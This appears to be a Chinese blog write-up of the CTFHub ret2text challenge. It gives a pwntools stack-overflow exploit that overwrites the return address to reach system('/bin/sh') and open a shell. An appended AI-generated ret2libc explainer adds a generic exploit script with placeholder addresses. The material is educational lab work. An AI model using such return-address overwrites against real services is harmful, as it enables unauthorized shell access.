【PWN · ret2text】——[CTFHub]ret2text

文章介绍了如何利用一个没有保护措施的64位程序进行栈溢出攻击。首先通过checksec检查程序安全性,发现可利用栈溢出。接着使用IDA反汇编找出危险函数gets()和目标函数secure()。在知道系统调用地址后,编写exp,构造payload覆盖返回地址,最终远程发送payload并获得shell交互,从而能够执行系统命令如ls和catflag来获取信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

萌新第一阶段自然是了解做题的套路、流程,简单题要多做滴


前言

经典的ret2text流程 


一、checksec查看

 64位程序,什么保护都没有,No canary found——可以栈溢出控制返回

二、IDA反汇编

发现危险函数gets()

 发现存在返回shell的函数secure(),虽然有一系列随机数啦,随机数比较之类的前置判断,不用管他,只要我们溢出返回地址直接指向目标指令的地址就可以成功获取shell

v大小为0x70+栈基指针0x8+返回地址 

 返回哪里呢?直接返回system("/bin/sh")指令的地址。

三、exp编写 

from pwn import *

r=remote('网址',port)

addr=0x4007B8                        #system("/bin/shell")指令地址
payload=b'a'*(0x70+0x8)+p64(addr)    #覆盖v存储、覆盖栈基指针、修改返回地址

r.sendline(payload)                  #发送payload

r.interactive()                      #shell 交互

 然后ls查看有哪些文件,cat flag即可获得flag


总结

蒟蒻在行动!

### CTF PWN Ret2libc 攻击教程与实例 Ret2libc是一种利用栈溢出漏洞的技术,在这种技术下,攻击者通过覆盖返回地址来调用系统中的现有函数(通常是`system()`),从而执行任意命令。当面对静态链接的二进制文件时,由于其缺少GOT/PLT表,“xxx is statically linked, skipping GOT/PLT symbols”的提示表明无法从这些地方获取库函数地址[^1]。 对于动态链接的目标而言,可以通过操纵堆栈指针指向目标函数的实际位置实现ret2libc攻击;而对于静态编译的情况,则可以直接在`.text`段内寻找所需的函数入口点并加以利用。 下面是一个简单的Python脚本用于演示如何实施ret2libc攻击: ```python from pwn import * # 设置远程连接参数 host = 'example.com' port = 9999 # 连接到服务端 conn = remote(host, port) # 假设已知偏移量为offset=108字节,并且存在可以控制的数据位于该处之后 offset = 108 # 获取/bin/sh字符串的位置以及system()函数的真实地址 bin_sh_addr = 0xdeadbeef # 需要替换为实际地址 system_addr = 0xbadc0de # 同上 payload = b'A' * offset + pack(system_addr) + b'JUNK' + pack(bin_sh_addr) # 发送载荷给服务器 conn.sendline(payload) # 切换到交互模式以便观察后续操作结果 conn.interactive() ``` 此代码片段展示了发送精心构造的有效负载至易受攻击的服务的过程,其中包含了必要的填充字符、system()函数地址及其参数"/bin/sh"所在内存区域的指针值。需要注意的是上述示例中使用的具体数值应当依据实际情况调整。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值